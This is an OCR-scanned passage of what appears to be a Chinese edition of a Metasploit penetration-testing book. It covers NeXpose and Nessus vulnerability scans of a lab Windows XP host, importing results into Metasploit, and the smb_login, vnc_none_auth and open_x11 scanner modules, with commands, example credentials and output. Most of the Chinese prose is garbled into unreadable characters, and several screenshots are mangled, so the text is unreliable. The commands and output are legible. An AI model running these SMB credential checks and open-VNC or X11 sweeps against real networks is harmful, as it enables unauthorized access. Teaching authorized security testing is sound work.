EEIES BOLERAT, #1180 FEFHAETHE NS 5.1 B Web IREBR%. A T
BB, AT A 0 4-1 BERRRIRIS R 2, SR E AR A A AR 5 %R A 1S M
FRIA, LRXE RS BRET DA RETH TR,

gk, FERRREET, RARANERLSRT - TEHNT. BTRENNARFRE
HEMMESR, RRHAMEREEASESER GRS T IRAE LR ERFANAREE) FRH
CGRAR & RIESEE FIRAAZE). RRERRATTREEE TR0, ATRMR, BAEED
TRA ST IRROEHE. AR RRARE EARTE A HHR AT
B, T SR 5 A iR S R ORI 5 48 O AL T BT R

FHERATR T # 2 E SR RRARNS, B4 NeXpose. Nessus Fl— 214
T
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Reports SLENS Paolicies Usars

22564 Servion Detection

10107 HTTP Server Type and Version wanw (B0ACD)  Low
43111 HTTP Methods Allowed (per directory) wanw (B0Acp) | L

11874 Mixrosofl 1S 404 Response Sanvics Pack Signature waw (BOAcp)  Low
11213 | HTTP TRACE / TRACK Methods Allowad www (B0fcp) | Mediem
11424 webDAY Detection www (BO%Cp)  Low
24260 HyperText Transler Protocol (HTTF) informiation waw (BOfcp) | Low

B 4-1 £ 3%FH bR Web IR %5 2R g R

4.2 {FF NeXpose #7134

NeXpose & Rapid7 7 a]#EH B/ dh . SHELIMEHTAR, SN FIE
FIZITHR %S, RERNBBIERGENNARERF LR EZ2RR. NeXpose B 54114518 3 %
PEIHAT AL EE, SRR RIS .

Rapid7 22 A4 Mt T £ NeXpose MiiA, 7EiX B FEAMER X HEZMR (Community edition),
FBIENRE BN . WRRITHERIIESP{FEH NeXpose, T LLZ%E Rapid7 Wb
Chttp: /fwww.rapid7.com/vulnerability-scannerjsp), T f&7 [ 18 MV i A< BT BB 1) Th BE A& N A Y
Er-

A HM HirE— BN 22 H Windows XP SP2 4L, HEAARES LM R A. Hit,
AR HEr AT IR QAR a &AM RE, BRFEAEMES R FAF Metasploit . FEAXY
ZiORHT, B AR AT MSF 235 A NeXpose #HTHFIH, 7 MSF &ijizfT
NeXpose 7] LLEYRAC TR 4T FF 3T Web RIBETE H 7 5L, 1 H 4 25 7 WM A HER & B BRI

421 EE

EAE X L Z ] NeXpose ZH5EEE, RO LASTH — M I3 38, AT ™ k.
https.//<youripaddress>:3780. 3R JG VR EiE5F NeXpose N H OE R MRS BIUEH, HdH «cd
MREMNHAAMOSER. BXANERSBIWE 4-2 it fi. (£ Rapid7 Mk EF
X T4 NeXpose HIHEMAT4H.)

{E£ NeXpose ) E AR HH, RSERETREBNWM F —LpRE .

® i/ (Assets) HOF RRMEE F AT EHIARE,

® % (Reports) WOFF|H T A 5C kG L IR

® J&ifl (Vulnerabilities) T @ X 7ERILE I FIRIAT T 40 HAE

® &3 (Administration) T1@ T r] LN &0 RGRC B AT

37



Metasploit i#i%E M id 15 F

Site Listing

There are o sites o display.

Mo S

Current Scan Listing for All Sites

Afget Group Ligting

B 4-2 NeXpose (4745 & 0
SRS EP A — Lo EARPUT — e R R E, Bl aE — AN F 8 B b e S .

1. MR EF

NeXpose F 135 i (Site) B —RIMRKRENBHES, ZNMREENMFH Pl —
MMFERFMEREZ MRE S, REFL T LU — R TEL . ¥ fUE NeXpose BT84
%, EPITHHZE, BAERE A TUCA AR aiEE AR REHERE,

(1) GUEFus S, 7 NeXpose L5 4 s i New Site CFrifizn) &8, AL 2258 F
s iR, #RJ5 midi Next (F--28) BEAUINKR & FIH.

(2) BINE&N, PR LAE 2 R A R b SR X B dRit AT 3, Wl 4-3 fis. PRATLL
- RAE 1P duhk. — AN HAETEE . — & EHLRAESE, Rl S R E B (4T ERPL
MERHTEEAHERR. GTEHSE MBS EEE o7, BITYE MEXFENHE, —I0H
PR RE RET — 3 2 TR ARESEBEITENAZ S 1), x3dr Next #&H 5E
J B 2 B DN HERR

(3) ERHEELTEY, HEo] AN RAAmESR PERE, Flanxias (Discovery
Scan) FEFENKX (Penetration test); A LLUEFRAIRWME MM IE; KRB RE BT
FEEAES. HTRAINAEX NeXpose AR — M ENH, XRBRINRFARKREASE,
H mih Next $#ZH 484,

(4) WRERWE RN AR ERER, ATLLRENEmEE#ES S GFEEE: %K
E—BREREXMAMERAMA-A2504, XMBMPABERRZA “BEHAME" 8“1
A7, 52 HAMAFEERY “RBERH” & “IERNERMT) . FHERER B LR IR
Hir R4 L BN FIRMARLG R, XHEBTIREENHERAEAREH#S R

(5) 7E Credentials (¥3%%E#E) WH E, s New Login GREIER) &4, NfFamm
IP itk A— A P 204 . aTLL AT Test Login (R & ) XA K& RSB TRALE,
HRHARSF.
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The following list of 1P addresses andy/or host names will be included in this s, mﬂm_ﬂﬂ;;;ﬂ
following notations:

Deevicns & SCEn [

[ 162.180.1.19% 10.0.0.1
| 10.0.0.1 - 10.0.0. 258
10.0,000/24

Wiere EMIDE, COIT

Import list of devices 1o SCRA| Chooe File | o M choee If CIDR notation is usad (eg.

wac g 24) it s assumed that the
entire nabwork s scanned and
Excluded Darvices Network idantiber { 0) and

HNebwork Broscdcast sdiress] 255)
The foliowing list of IP addresses snd/or host names will not be scanned &8 part of this she, o be ;
Devices to exciude from scanning: T

10.0.0.0/24 will becorme 10.0.0.1 -
10.0.0.254

10.0.0.0/ 16 will bescome 10.000.1 -
10.0.255. 254

Import list of devices to sxchude Choose Fise ) Mo e crosen

] 4-3 [ NeXpose ¥ s PN i &

(6) BeJa, rili Save (LRAF) FEL &5 AUFs pd [n] 3R R B = 51 . IXB + 57 i p = 51
PRANNIER DN 2E R WP 4-4 B

Il Currett Scam Listing for AN St

[l Asset Group Listing

B 4-4 F5FESERT RIREEFE S

2. FRhERT

P SRR S, @ LUFREAIBIRE S —IREA#MES T

(1) Aid7H 4-4 P~ New Manual Scan CGFHFEshEH) &8, XFFRSEF LnE 4-5
PR BN EHE, X L] LLIR G (R AR DR R e B8 P A e b, B R A i P HE R ZE R 2 A .
FEARFIF, BAIXTRIA$RE]H Windows XP EHLEATHH .

(2) fFmRERm bR IP fhllk, FREE R ZIEE THERARAEMNE . WA LRGSR
it Start Now (LRIFE4R) #HH A HHMA.
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I
You can scan one or more assets within this site by entering 1P addresses, IP address

ranges or host names.

Site: _Labl %)
Site Detalls

Scan template: Full audit
Included assets: 182 168.1.195
Excluded assets:

Manual Scan Targets

) Scan all assets within this site

() Specify one or more assets within this site to scan

#r

Stari Now @ Cancel

& 4-5 NeXpose AL E MG HE

(3) HFfIELFET, NeXpose ahERIFHAMRE M. 1HFFF Scan Progress (F#iE)
H Discovered Assets (%= i151]) FPRENE AN Completed (58D, WHE 4-6 Frx. fEHRHE L
] Scan Progress X+ /R A LAF WAEBHAHRI & AL T 268 ANiF; 7E Discovered Assets
X3 O PRIEBE T KT H PR EE R (S B, iR & & -84k R KR BL7E, V& Kt Reports
(I EIF

Tei A F
MNEMPOSE

B 4-6 NeXpose FAfISERG M &
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F4E WELHE

3. £pkERT

I BRI 35— IRIZAT NeXpose, 1 HAUXFER T — K $33#, Report I AL B ER A
(1) ¥ 4-7 Fis, Aids New Report CGHF ) T AN E ) F.

LR N T ]
NEXPOSE

- P | &
I

| Choose one of the listed reports to view additional details about your devices,

/ 4-7 NeXpose (KR & 5T

(2) MA—MFIEHLFR, RJ57E Report format () F B, %E$E NeXpose Simple
XML Export(NeXpose & 8 XML #H ), W 4-8 Frox . X g AR 55 e % 3 A B Metasploit
B8 vk . 703X BLE ] LR BEAS R RO AR &5 BRAR, 1 SR PR0A T R 7RI iR iR AT R B8 L 562 338
i, BALZEXBERERMK. B XESE)G, Ad Next IZH 484

-----

e RAPIDT
NEXPOSE

Contart MeXposs allow users o crests canned reports in & varlety of formats inciuding PDF, ATF, HTML, XML and Test. In addition, NeXposs
Basedine Can export data o most detabase systems or 1o structured fle formats including XML snd C5V.
Schadule RaEport na:ms Target_ 188

Report format ([ Farpose™ Simom 0. Export 1)

Repart tiet N

REpOrt tme Tone | (GMT -0700) Moustsn Time (S & Canada) : wd

Bl 4-8 AMEEE LR

(3) W 4-9 Frox, 768 T REIE O At Select Sites CGEFEM A1), REIRAG B 5+
RS RAASMBER, M5 i Save #H .
T ———

O Site Name mmm Last Scan
# uwm 1 268 1249681 1oe Mo 09

"™
49 A BEETEREPHNA
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(4) {F Select Device GEFFW &) MGHEH, EFHHELEERY PR &G A Save 4.
(5) FEHREBE RS, Mdi Save ¥ #52 At i RECERIETHHIEVAE. IAE Report
IR ot T RIS, WE 4-10 Frax.

fTreaeI?
NEXMPOSE
AT -._’:_-r-_“___-':-r__*--fs-'.ﬂ:"f:‘!r__.:a:___rrF-.-,-.;u-gL-:-:--;.-m;j:v o T A A CLIEE T R e AT (A e oSyt D ﬁ-‘h“fﬁ@_!:}:@*.h';?.‘:ﬁk'!g-Htﬁf'-.rﬁt;g;::'ftm-_ﬂ .
Hioma @ Reports @ Target_195 :: History )D Saearch i w Assat Filter

Below are the generated reports for the Target_195 report.

Created On Raport Sire
- 101 KB

P
-
L
- @
L
. E

P 4-10 RGEDEIIH T OB S

4.2.2 RBA#EHKEFAE Metasploit H

i F NeXpose 5o | — e BRRFAEM LG, IR EM AR S R T A E| Metasploit .
BESANZHT, IRUITE MSF &35 18 H db_connect #7401 — MR E. HEFELE
ZJa, R LIMER] db_import 474 ¥ NeXpose f) XML #& AR E CHSFABIEIEE S .
Metasploit < B 315 H A& B NeXpose EREHI, ¥ OHMBEHRENFERSA. BETPE
A db_hosts KEFEIFARTMIN. (XEPRIESH THMRESNR.) WMEREOLFTL,
Metasploit iRHI ! T RIEF R RE P AT 268 1 iH .

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import /tmp/host_195.xml

[*] Importing 'NeXpose Simple XML' data

[*] Importing host 192.168.1.195

[*] Successfully imported /tmp/host 195.xml

mst > db_hosts -c address,svcs,vulns

Hosts

address Svcs Vulns Workspace

192.168.1.195 8 2680 default

WMARBE B P ARMEK R, SlaEARASERS (CVE) MRMSEEFER, HITT
1 ) iy 2

msf > db_vulns

IURHT L, SRR T B R R0 1A T DR DR A MO (5 B — A BIR R BT 268
ARG, (R, SHEHMHIK, AT BARAFTEE, R RN SRR T
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F4EFE mREDME

¥E BP0 A i AT

4.2.3 7 MSF =% & 4iE1T NeXpose

M Web 5 iiz4T NeXpose nJ LAX it FEHEATIA, JF H BE1R R iE 4 il & o (30 B4R
HARATH MSF 235, /R 7T LLRIA] Metasploit 1408 ) NeXpose Hif):, 7F MSF &g b 34T 58
L JiOp R OESEL R

AT RAGRAMMEBETHESRZAMNES, KIRBATH M Metasploit F 51— EHE
P, HEHRINARE BRAZENGERAP LM 04, B2, 54 db_destroy %
Metasploit P ILA B A, FFEH db_connect B8 —MBRIMIERE, RIS load nexpose
S\ NeXpose #fiff:, W1 .

msf > db_destroy postgres:toor@127.0.0.1/msf3

[*] Warning: You will need to enter the password at the prompts below
Password:

msf > db_connect postgres:toor@127.0.0.1/msf3

msf > load nexpose

[*] NeXpose integration has been activated
[*] Successfully loaded plugin: nexpose

= NeXpose i TS IG, R LUER help S B E L1 1A EAMEH R B RHL.
WFFAR, WA help 5, IREEBE R RHHGLHIERD, FR LR TEH NeXpose H—HF|
AT o

mst > help

M MSF 5 ATIRIIE IRARZ 0T, VRE EEEIRIT23EH NeXpose L#. A
nexpose_connect -h 1] LLE~&ERH] NeXpose FT s (155 763X B R B4R 45 % 3 NeXpose
PRI 4. ORI IP Mk, BEFN L ok 23, RxBA3NERZ SSLIF %S,

msf > nexpose_connect -h

[*] Usage:

[*] nexpose_connect username:password@host[:port] <ssl-confirm>
[*] -OR-

[*] nexpose_connect username password host port <ssl-confirm»

mst > nexpose_connect dockie:s3cr3t@192.168.1.206 ok
[*] Connecting to NeXpose instance at 192.168.1.206:3780 with username dookie. ..

WFFR, AEPRA] LI A 672 nexpose_scan, 7E 3 /5 M EH# B AR 1P #utl 5 )3 shH4 .
XA, AT —AN 1P Hubb#AT T, BERFERES IEE# S5 bR 1P Hubk B
(1 192.168.1.1-254) RIRELANELEN 1P Huht, 8UE{FF CIDR #ibbHsk® =BT (40
192.168.1.0/24) .
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msf > nexpose scan 192.168.1.195
[*] Scanning 1 addresses with template pentest-audit in sets of 32

[*] Completed the scan of 1 addresses
msf >

NeXpose LK )G, VRGMEIENEHEETN A CLE ST THAME R, A db_hosts
ATUAFRXEE R, R (FEXM 5, B2 CEH “address” FI#AT T A
BRAE R . )

msf > db_hosts -c address

192.168.1.195 8 7 default

msf »

WyRAT W, NeXpose AHL T 7 Ngifl. 1217 db_vuln 674 7] LLE 715 £ A& BRI IR B VE 40 15 152 -

msf > db_wvulns

BB, XUAEHREHMPT R I RFAZOR B B L A B N AT B R R
BERFEEE (268 1) D%, A, RIREE T LB ARG S, HIREESS IR T R
B8 B TAE.

4.3 {EF Nessus #1731

Nessus A28 (1 Tenable Security Chttp://www.tenable.com/) HEH!, JEXMpi{ERE LT
Z H¥E R/ 38 2 — . {# F Metasploit ] Nessus {4, ¥R AT LLIE MSF 235 1 J3 503338 3 M Nessus
KRB ARG R . HETmEAE T, BRIV R WA AHMALIZ1TH Nessus H44 28 FT 4 BT
HMER . HTF R RARARRAURE, AR %% K%K R Nessus 4.4.1, X243 prig §|
FIHH HAr T 8 R . a2 S, SREEKTHARE, FREKEENE L8885t
TARRREE B EMAIBE 7 Rk

4.3.1 B.E Nessus

FE I EEGF Nessus &, FTHARRIP T30 W38, H¥E 3| htps. /< T IP #Hhf>:8834, B:5%
FRES, HEBERELZENRENH 2504535 Nessus. fREESEEFME 4-11 Bl
Nessus 3 5+ .



R4® WREEAW

Raports BCons Palicies ears

Wi . Status Last Updated

B 4-11 Nessus 135 H @

TG, HEHAT Reports (%) X, XESHHIEYEiTd MR TES. 7
ST I F A2 Scan (FAH) &I, A TEIEHRMEAE a3 Policies
(TRBS) AR, A F% Nessus 33 AT & A3 #MF: Users (HF) #IR£, HT#
INEESE 7 [A) Nessus AR5 28 FH Pk F .

4.3.2 {113 Nessus FIERE
TR Z 00, PRAEELIE - 4> Nessus {36 HKBE . {F Policies (FEBE) &kIGiF b, fidiss
B8 Add CEshn) %48l 7B 4-12 o kg Be B v 1 .

Scans Paolicies Liears

4-12 Nessus SR RMSACH & 1
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Metasploit &% il 1E M

X BIR2F PR 2 ] A iEm, X LRI Nessus B0 B SCRY P #E 44 .

(1) Wk 4-13 i, PR ENHE R —D 4T . BAVER The Works 7 A 14 S RE ()
2F, XA E Nessus 2 HME M. R)5 BT E Next 4.

(2) 5RERFHBMITH NeXpose 18—, BATAHAMEE Windows FxREH, MEE
g M 1R H ARG AR . X BIERA H bR R G R AR I A Next el gk4t.

’ 4-13 Nessus 9 ) —2F FH #®

(3) ££ Plugins (3> Tufm, #RaJLAMKEEMH T Windows. Linux. BSD % & K#/ER
il Nessus ARG HEFRER . WRIECH AR EHRLSHE R Windows RS, Rl
VLB H & AR R E RAERIFEMF. EIXE, BATAd Enable All (£#E1H) #4 (FEE 4-14
FIAG T AL), SR Al Next #&4.

Bl 4-14 3&E+E Nessus G
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4T WREEAE

(4) 8B maE i & g — > 51l /& Preferences (B IEM) Tifff. 7EiX 3, YRATLLiL Nessus
AN X P4 4T ENHL SR Z AT, ibe KRS RIS AN SR e, SR LA R
s B IEAE. WA, Aidi Submit (3840) IEHIR{FHEE. Hrls i) sKegf B a7
Policies SLIHI, W1 4-15 Fros.

Hame . | Wis ahility Omier
The Works Private etk

B 4-15  FFEN Nessus 313 FBE

4.3.3 47 Nessus 133

WA HMERR S, R LB DN ERES . BEERE Scans (FIHH) HINF,
st Add GRID FH T AAMECE & 0. KEZEH Nessus I E L& 1E LI/ HF3H# 5K
igh, ArUUREIEAEREN, AR EIQRESI P2, E&F PSR, JHREP#HEH
PREt A LT, Wil 4-16 Ao,

E 4-16 f)EE—™ Nessus H#{T5

WATHIF 7 RO — D EH#TEHE, BIRFEFERT LA E R CIDR /s fHb bk R 2k g A
— AR H AR hE ) e AR L A H R BEIT AR . MR BPBSEURRIW AN, R
Launch Scan (JFa03H:) 4.

4.3.4 Nessus

AR K, JRALE Scan T iH T ERAT N A2 ¥ 2 Reports UL . Reports LI 2715
THABEERF . WEL S ERHREE . EERANINIIEHAE ML R+l Browse
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CRUSE) FEAT RO, TR E LR BRI L E SRR, W 4-17 Fr.

] 4-17 FHATIH Nessus 355 5 H 5

Bir: Wit Ed Fi A4 EA T Windows B F EEMEA 428, Nessus E/’ﬁfoﬁ’:é‘ﬂiﬁ ¥
MG ikRK TR EIFE.

4.3.5 BAFER SN Metasploit #E%2 4

BLAE L IRATIIE A HE S5 R 3 A\ Metasploit HESEH .

(1) 7E Reports 7 [fi " it Dowload Report ( FaIR%) #4, ﬁﬁ?ﬁ#%ﬁéﬁﬁﬁ R fy s
it 4. Nessus BRIAFIFR & S04 X nessus 7T LL#E Metasploit iy, R BATEFE A% AT
PR ER IA 4% CRATT

(2) #TH MSF %, f#H] db_connect B3 -NEEERE, REMHH db_import, J{Edr<
JEHin L3 B RIRE XA, BEHMES R IATIEEEESD.

msf > db_connect postgres:toor@127.0.0.1/msf3

msf > db_import /tmp/nessus report Host 195.nessus
[*] Importing 'Nessus XML (v2)' data |

[*] Importing host 192.168.1.195

(3) B TRUEHFH EVARIFAEEE T IEHE SN, T TR db_hosts i@ . iX
Hi) db host iyt M REYF, BREMEST B IP Huhk. #0038 a0 AR % &8 LR
Nessus 7t H #x - & BLE iR 0 .

msf > db_hosts -c address,svcs,vulns

192.168.1.195 18 345
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FAE WREEAM

(4) WRBEER—-MEHORFESIR, TURMARESEMSEN db_vulns @4, WF

mst > db_vulns

[*] Time: Wed Mar 09 03:40:10 UTC 2011 Vuln: host=192.168.1.195
name=NS5-10916 refs=05VDB-755

[*] Time: Wed Mar 09 03:40:10 UTC 2011 Vuln: host=192.168.1,195
name=NS$5-10915 refs=0SVDB-754

[*] Time: Wed Mar 09 03:40:11 UTC 2011 Vuln: host=192.168.1.195
name=N55-10913 refs=05VDB-752

[*] Time: Wed Mar 09 03:40:12 UTC 2011 Vuln: host=192.168.1.195
name=N55-10114 refs=CVE-1999-0524,05VDB-94,CWE-200

[*] Time: Wed Mar 09 03:40:13 UTC 2011 Vuln: host=192.168.1.195
name=N55-11197 refs=CVE-2003-0001,BID-6535

BB MR TERM AR BEBEIAMRERN, RESEHARETF0E.
4.3.6 7& Metasploit BER{EM Nessus FHiTH

WERARA B T EFE RS 1T, VReTLMER] Zate H ) Nessus Frfdift (Nessus Bridge
plug-in: http://blog.zate.org/nessus-plugin-dev/), ¥& Metasploit P4 #B{EA] Nessus. Nessus Hifift
RAFRIE T Metasploit {EZE X Nessus #E4T 56 2R, HemdReT LLER €8 TH#. R,
B w7 LU et Nessus $3 4 T K LR IRTH AOR 188 Bl .

(1) BRI AH+—F, 5556 db_destroy <M ExILAT HIE3E 2, H1EH db_connect
B — AN HT R E .

(2) 4T load nessus 74 #A Nessus @i+, 1 FHis:

msf > db_destroy postgres:toor@127.0.0.1/msf3
[*] Warning: You will need to enter the password at the prompts below
Password:

msf > db_connect postgres:toor@127.0.0.1/ms¥3

msf > load nessus

[*] Nessus Bridge for Metasploit 1.1

[+] Type nessus_help for a command listing

[+] Exploit Index - (/root/.msf3/nessus_index) - is valid.
[*] Successfully loaded plugin: Nessus

(3) W LL{# A nessus_help ¥ F Nessus Hrifift L FFHIFTHE @4 . Nessus FHdfF & &
— R TE B, BTLLE A nessus_help (5 H AN ERT, XFERANIBLAER A0 H A
T HHITHHEE
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(4) ¥ H] Nessus FFlfF 46— K3 Iy, PRAZ0MER] nessus_connenct 14 5 3k 3|k
[F] Nessus iR%3% £, TR

msf > nessus_connect dookie:s3cr3t@192.168.1.101:8834 ok
[*] Connecting to https://192.168.1.101:8834/ as dookie
[*] Authenticated

(5) FMEAEESR —F, RalRmn&EIEE — 1 Ooe e XA EgR ID 5. ] b#
Hl nessus_policy_list 71 H iR 45 2% L O 2852 LA 41 S .

msf > nessus_policy list
[+] Nessus Policy List

ID Name Comments
-4  Internal Network Scan

-3 Web App Tests

-2  Prepare for PCI DSS audits

-1  External Network Scan

2 The _Works

(6) BIEMARREPERHMAMHEE ID 5, R/GH A nessus_scan_new w14, HIESG
[N EFHERSE 1 ID 5. HiES ML F LU R HAR IP ik, T Fix:

msf > nessus scan new

[*] Usage:
[*] nessus_scan_new <policy id> <scan name> <targets>
[*] use nessus_policy list to list all available policies

mst > nessus_scan_new 2 bridge_scan 192.168.1.195
[*] Creating scan from policy number 2, called "bridge scan" and scanning 192.168.1.195
[*] Scan started. wuid is d2fi1fc02-3b50-4e4e-ab8f-38b0813ddo6abaeab61f312aa81e

(7) BT RS, 7T LA A nessus_scan_status fr$ B EHRMIZEITHRE . HXPHL IR
[FI 45 R “No Scan Running (HHIBITHMEHF) 7 0, REHMEE.

msf > nessus_scan_status
[*] No Scans Running.

(8) HFig )5, W LM# A nessus_report_list #ir4 % Nessus 7 Fr 3 7 R % .
VAT RIS A ID 5, R/GHI nessus_report_get 45 ID &4 FiRIRE, H OB MLE
FAF| Metasploit 2UH#EFE .

msf > nessus_report list
[+] Nessus Report List
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1D Name Status Date

074dc984-05f1-57b1-f0c9-2bb80ada82fd3758887a05631c1d Host 195 completed 19:43 Mar 08 2011
d2f1fc02-3b50-4e4e-ab8f-38bo813dd96abaeabb1f312aa81e bridge scan completed 09:37 Mar 09 2011

[*] You can:

[*] Get a 1list of hosts from the report: nessus report hosts <report id>

msf > nessus_report get d2fi1fc02-3b50-4e4e-ab8f-38b0813dd96abaecab61f312aa81e
{*] importing d2f1fc02-3b50-4e4e-ab8f-38bo813ddgbabaeabb1f312aa81e

[*] 192.168.1.195 Microsoft Windows XP Professional (English) Done!

[+] Done

(9) fge)a, anlmlAFaep Hofh 3 A a8 —#¢, URAT LAt A db_hosts 4, BIATIHEEK
I EIER -7 A B EEEE D .

msf > db_hosts -c address,svcs,vulns

e L. S —
=l ——]

O NN A W s [ p—

192.168.1.195 18 345
BEIRCLH 2 T WM ARRREDE™ SEBOMSEROER, R URRN Y042

T THRBTHGHINEA T ERZIF M. Ak, xHXeeH3b T RIS R#T T, IF
FHEMTHACKH FTEAE R BEE, 3XA 18 fig Bl H Rk e k.

4.4 FTHiRRITEER

BT EHREZ BRI &, AREEREIFA R T EM. LR EE W
A L EPFEAFERIRHIN, Metasploit 517 i7F 25 4 ByAEH AT DLFS Bh AR 52 UK FE RO AE 55

IS8 JLA Metasploit BEER H S £k % sk FUARBIAE SR PR/ — 8843 . RV 247048
USRI IR R AT RE 22 o IR SRR F T VAT BUR, IX SRR iR TR kA A,

441 I84F SMB &3

AT LA SMB 335438 (SMB Login Check) P KB EHMAH L0475, IF
WpRETEL, XM K, BSHEH, WHE - KEFSABSEWHFN Windows T
MLARGZHEDE FRE.

] use M &IEFE T smb_login R 5, YRFILLIZ4T show options 4 B E S HFF*, LL
B WFLLZ B LT . Metasploit RVFIRIEE R P B O4MAES. P 48R O455)FH
7, WA ETREZNAS (HPramndyik, SR L25%RN04). £ FEEE 7,
H AR RHOST 2k Eh— /B IP bk, RIGHHA—AMEEHH 404, il Metasploit
SHEE N TR EPLEET & =K.
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msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb login) > show options

Module options:

Name Current Setting Required Description

PASS FILE no File containing passwords, one per line

RHOSTS yes The target address range or CIDR identifier

RPORT 445 yes Set the SMB service port

SMBDomain WORKGROUP no SMB Domain

SMBPass password no SMB Password

SMBUser Administrator no SMB Username

THREADS 50 yes The number of concurrent threads

USERPASS FILE no File containing users and passwords separated
by space, one pair per line

USER_FILE no File containing usernames, one per line

msf auxiliary(smb_login) > set RHOSTS 192.168.1.150-155
RHOSTS => 192.168.1.170-192.168.1.175

msf auxiliary(smb_login) > set SMBUser Administrator
SMBUser => Administrator

mst auxiliary(smb login)} > set SMBPass s3cr3t

SMBPass => s3crit

msf auxiliary(smb login) > run

[*] Starting host 192.168.1.154

[*] Starting host 192.168.1.150

[*] Starting host 192.168.1.152

[*] Starting host 192.168.1.151

[*] Starting host 192.168.1.153

[*] Starting host 192.168.1.155

[+]) 192.168.1.155 - SUCCESSFUL LOGIN (Windows 5.1) 'Administrator' : 's3crit’
[*] Scanned 4 of 6 hosts (066% complete)

[*] Scanned 5 of 6 hosts (083% complete)

[*] Scanned 6 of 6 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(smb_login) >

* +

EOPRTT LLE B)EH H P 48 Administrator F1114 s3cr3t lIhH S %3 T —& 8 L. 7
R AR, TEHTENINEERZEESAREE MR TEREN, XL RN RS
b, BEHAROSBAAIGRE—FR, T —POSE, REEATREWE NS LIEMSIHEL
U7 ) BUPR .

442 HFFAHBIVNC E=OS

VNC (REfRIRIERTHRED 48T BRAKZER RAEV R AR, €SI TRE R
M. ERZAFRE VNC FIREMF R, FAERO T ERE V) RSS2/ TR E R RIS
12, AERTE. REERE VNC BA T HRREL N Em Z2%K), BFEAZEERERAS
SR EMER, NI FRITHTH VNC B, XEI—ATERHBERF. Metasploit
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F4FE REAME

HER VNC 25 14 F 58 T Lt —BE 1P bbbt AT4aa$l, I hERARRE LM VNC RS
2, BREFEBHTHES LW, B2 - MFBHEENRINN W REGEREN&T A
WER U FE. |

125 RAIMALY VNC BHBRBAFEA TS, wRBERGR R T HEE—
A bR GRS, T RA{E A A B R AR 4 VNC IR %8, 4o RealVNC4.1.1.

1% K & % Metasploit FBhH—FE, VNC HIERNEBERNEZEITIRM ¥ . vnc_none_auth 1y
ASIER -2 EARBEN — a8 —B 1P il B EEEEE R, 2 YUK RHOST (it
FEEH Fl THREAD (2%, R RAEHE BN ERE T LT EEi TR E), RGHRITHE
j_#ir ﬁﬂ_FF'J‘T'?]dT-:

msf > use auxiliary/scanner/vnc/vnc_none_auth
msf auxiliary(vnc none_auth) > show options

Module options:

Name Current Setting Required Description

RHOSTS yes The target address range or CIDR identifier
RPORT 5900 yes The target port

THREADS 1 yes The number of concurrent threads

msf auxiliary(vnc_none_auth) > set RHOSTS 192.168.1.155
RHOSTS => 192.168.1.155
msf auxiliary(vnc_none auth) > rumn

[*] 192.168.1.155:5300, VNC server protocol version : RFB 003.008
[*] 192.168.1.155:5900, VNC server security types supported : None
© [*] 192.168.1.155:5900, VNC server security types includes None, free access!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(vnc_none auth) »

SRR SEIE I, Metasploit F] BES APRIRE| —HE A D4 H VNC iRFS3[O, XHYRA]
LL{# ] Back|Track H) vneviewer, #E#:3| Hir EHL LR E O4 0 VNC fR52S, WHE 4-18 Fiox.

TightVNC: V-XPSP2-BARE L

& 4-18  {#H vneviewer EHEE| R E O 4 M VNC R% 3
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WA —TF, WREREE K VNC A0 IR %R, MARKZBAZKIRER T
M VNC R& ARG . 76— 5 LT BRENRRRBEIRTES, ABK—AEEER
BEXE RGP A G ITE VNC k5.

L pk & EFER 3 H ORI, MiEREIH AN EERERXE . AN ERFRET, A
KATREREER P IEAEM AN . T REEERS —ANREENHUARE (XAl —ELL
RAMFER), B e HAR S IEEREENRMAREET T — KRG XUAREH BT
Loy AUE THEERAE, HEFESMREE - KERETAM VNC M. FHZZKIKREH
Fr B

Y% oE: RAELE? TRAEMEER? RESELF —EMA.

A& EFEREIRE, 9, KREFEH IUAFA.

e e hERBEED? KA ESOH N BIERTLT.

KA BAKHRHSMRELE L RAZHIE DR, Tty TR, hH LFRKIE T D?
MR —da), hFERT? £22%.

o E BEUXAF AR EE, SBAAAE, KLELYE, NE16YS.

K RE LT, BMEINLRARARKART, BAFREMIT2L2E, FL—T
o, 57— “VNCHELB”, AXABHLARNTIRS VNCRES, RERFX—4
M E vk, hABGET, AHALAEH? RETHRD? FAIPEFRLEF—TG?

Wk#E: KA —Fo {4 PureBasic ¥)i5 3B ¢, [RiTAFITHIE LA, AL TEA.
Rt RAFTAFE B F—, KRB LB M FREHA TR SR F., RIRF
7| — 3k o4 F & M 3548 %) PureBasic ¥ %15 3 P.

# H: KEET. RTdeE 4 3] irc 49 pastebin M3k L, MRETUAR L A4, HZAT
%A A it PureBasic, 2 Alif Python #= Perl.

KEE: ERAA, BIK— TR pastebin ket L&, FLNSHW, £ LE k.

MG iX 2 & &4 T & —/ pastebin M R #9444%, TR AT VNC 2R BN AER
KA,

4.4.3 FAEFAMA X11 AR F 2%

Metasploit [X1 N B open x11 34285 vac_auth TR AL, B RFREESE —HEEHLH LB
X11 JR%5 2%, ZIRS 2 AR P ERT S AERI A ER. RE X111 RESEMNRIERGT LE
ARIIEMERAT, B HEREVNEFERFERK. RTATH. CHEHARBERRIER
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4. IEWMRAERTIH IR FHRERR, ZHRRGESERZML ERARSS AT

AT open x11 FAMH/RNRE, FZEIT KEHIHAFHEBRAEML, RFEEEE RHOSTS 2
¥, thalLLEFRMHEE THREAD 6. H#FHESBR—BaEdE. §ER, A8t
IP Huhl 192.168.1.23 4b#R 3 7 — P IFAY X iR F48. X2 — N ERRE, BRe nrsahd
Al P R AT RV Al X RGO B A48 AR s 42 SCHE e M B9 BT A P JR 6

msf > use auxiliary/scanner/xi1/open_x11
msf auxiliary(open x11) > show options

Module options:

Name Current Setting Required Description

RHOSTS yes The target address range or CIDR identifier
RPORT 6000 yes The target port

THREADS 1 yes The number of concurrent threads

msf auxiliary(open x11) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24

msf auxiliary(open x11) > set THREADS 50

THREADS =»> 50

msf auxiliary(open x11) > xun

[*] Trying 192.168.1.1

[*] Trying 192.168.1.0

[*] Trying 192.168.1.2...

[*] Trying 192.168.1.29

[*¥] Trying 192.168.1.30

[*] Open X Server @ 192.168.1.23 (The XFree86 Project, Inc)
[*] Trying 192.168.1.31

[*] Trying 192.168.1.32

lSHIP-lI
[*] Trying 192.168.1.253
[*] Trying 192.168.1.254
